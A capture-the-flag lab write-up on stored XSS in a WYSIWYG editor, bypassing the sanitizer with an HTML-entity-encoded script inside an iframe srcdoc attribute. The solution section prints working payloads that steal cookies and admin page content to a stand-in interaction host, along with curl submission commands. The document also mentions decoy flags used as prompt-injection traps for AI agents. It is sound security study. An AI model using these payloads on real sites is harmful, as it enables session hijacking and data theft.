Lab 72 — WriteFlow — Stored XSS via WYSIWYG Editor Sanitizer Bypass
Lab 72 — WriteFlow — Stored XSS via WYSIWYG Editor Sanitizer Bypass
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-22 | Status: Solved Techniques: stored_xss_via_iframe_srcdoc, html_entity_encoding_sanitizer_bypass, cookie_exfiltration_via_image_src, admin_bot_exploitation, interaction_server_oob_exfiltration, decoy_flag_avoidance
Summary
Task: Express.js knowledge base with WYSIWYG editor whose server-side sanitizer strips script tags and event handlers but allows iframe with srcdoc attribute. Solution: used iframe srcdoc with HTML-entity-encoded script tag to bypass sanitizer, exfiltrated admin's non-HttpOnly FLAG cookie via Interaction Server when admin bot reviewed the article.
Lab 72 — WriteFlow — Stored XSS via WYSIWYG Editor Sanitizer Bypass — HackAdvisor
Description
WriteFlow is a collaborative knowledge base platform where teams create, share, and organize articles using a rich text editor. The platform supports rich formatting, media embedding, and collaborative editing with an admin review workflow. The platform includes a WYSIWYG editor with an HTML source editing mode that allows users to write richly formatted content. Articles are submitted to an admin review queue, where an administrator periodically visits and reviews each submission. Goal: find a way to access sensitive information that only the administrator can see. Credentials: user@test.com / password123
English summary: Express.js collaborative knowledge base with a WYSIWYG article editor that has an HTML source mode. Articles go through an admin review queue where an admin bot visits each submission. The goal is to exploit the editor to steal sensitive admin-only information.
Analysis
Application Stack
- Backend: Express.js behind nginx/1.25.5
- Session:
connect.sidcookie withHttpOnly; Secure; SameSite=Lax - No CSP header — no Content-Security-Policy restrictions on inline scripts or external requests
- Key pages:
/login,/articles/new(article creation),/admin/review(403 for regular users) - Admin bot: Periodically reviews submitted articles in the admin review queue
- Decoy flags:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}embedded in HTML comments on every page — prompt injection traps for AI agents
Sanitizer Behavior
The editor.js source contains a revealing comment:
"The sanitizer strips script tags and event handlers (onclick, onerror, etc.) to prevent XSS. Safe elements like iframes, videos, and embeds are allowed for rich media content."
Systematic testing of the server-side sanitizer revealed:
| Payload | Result |
|---|---|
<script>alert(1)</script> | ❌ Stripped |
<img src=x onerror="alert(1)"> | ❌ Event handler stripped |
<svg onload="alert(1)"> | ❌ SVG tag stripped |
<embed src="..."> | ❌ Stripped |
<object data="..."> | ❌ Stripped |
<a href="javascript:alert(1)"> | ❌ javascript: protocol stripped |
<details ontoggle="alert(1)"> | ❌ Event handler stripped |
<iframe src="javascript:..."> | ❌ Quotes inside attribute broke HTML parsing |
<iframe srcdoc="<script>...</script>"> | ✅ Passed through |
| |
The Bypass: <iframe srcdoc> with HTML Entity Encoding
The key insight is that the sanitizer processes the srcdoc attribute value as a raw string. When the script tag is HTML-entity-encoded (<script> instead of <script>), the sanitizer sees harmless text entities — not actual script tags. However, when the browser renders the srcdoc iframe, it decodes the HTML entities and creates a new document context where the <script> tag executes normally.
Sanitizer sees: <script>...</script> → "just text entities, safe"
Browser renders: <script>...</script> → JavaScript executes!
Cookie Configuration
The admin session has two cookies:
connect.sid—HttpOnly; Secure; SameSite=Lax(not accessible via JavaScript)FLAG=FLAG{...}— non-HttpOnly (readable viadocument.cookie)
Solution
Step 1: Login and Obtain Session
bash read-only • copy allowedTARGET="https://TARGET_URL" curl -s -c cookies.txt -X POST "$TARGET/login" \ -d "email=user@test.com&password=password123" \ -L -o /dev/null
Step 2: Craft the XSS Payload
The payload uses <iframe srcdoc> with HTML-entity-encoded JavaScript that exfiltrates document.cookie to the Interaction Server:
html read-only • copy allowed<iframe srcdoc="<script>new Image().src='http://INTERACT_URL/CK/'+encodeURIComponent(document.cookie)</script>"></iframe>
For robustness, a more comprehensive payload was used that also probed admin-only pages:
html read-only • copy allowed<iframe srcdoc="<script>var B='http://INTERACT_URL';function E(p,d){var e=btoa(unescape(encodeURIComponent(d)));for(var i=0;i<e.length;i+=200){var s=e.substring(i,i+200).replace(/\+/g,'-').replace(/\//g,'_').replace(/=/g,'.');new Image().src=B+'/'+p+Math.floor(i/200)+'/'+s}}new Image().src=B+'/CK/'+encodeURIComponent(document.cookie||'EMPTY').substring(0,200);fetch('/articles/18').then(r=>r.text()).then(d=>{var m=d.indexOf('article-body');E('A',m>0?d.substring(m,m+2000):d.substring(0,2000))});fetch('/profile').then(r=>r.text()).then(d=>{var m=d.indexOf('profile-name');E('P',m>0?d.substring(m,m+800):d.substring(0,800))})</script>"></iframe>
Key design choices:
new Image().srcfor exfiltration — no CORS restrictions on image requests- URL-safe base64 encoding for large payloads (chunked into 200-char URL path segments)
- Multiple fetch targets to probe admin-only content
Step 3: Submit the Article
bash read-only • copy allowedcurl -s -b cookies.txt -X POST "$TARGET/articles/new" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "title=Test+Article&html_content=$(python3 -c 'import urllib.parse; print(urllib.parse.quote(PAYLOAD))')"
Step 4: Admin Bot Triggers the XSS
The admin bot periodically visits the review queue at /admin/review, which renders each submitted article's HTML content. When it renders the article containing the <iframe srcdoc> payload:
- The browser creates an iframe with the decoded srcdoc content
- The
<script>tag inside the srcdoc executes document.cookieis read — capturing the non-HttpOnlyFLAGcookie- The cookie value is sent to the Interaction Server via an image request
Step 5: Retrieve the Flag from Interaction Server
The Interaction Server request log showed:
GET /CK/FLAG%3DFLAG%7BREDACTED%7D
URL-decoded: FLAG=FLAG{REDACTED}
What Didn't Work
<img src=x onerror="...">— event handlers stripped by sanitizer<script>alert(1)</script>— script tags stripped<svg onload="...">— SVG tags stripped entirely<iframe src="javascript:...">— quotes inside attribute value broke HTML parsing<embed>,<object>— stripped by sanitizer<a href="javascript:...">—javascript:protocol stripped from href- Searching admin page HTML for FLAG pattern — flag was in a cookie, not in page content
- Dumping full
/admin/reviewpage — 27,038 chars caused log flooding; needed surgical extraction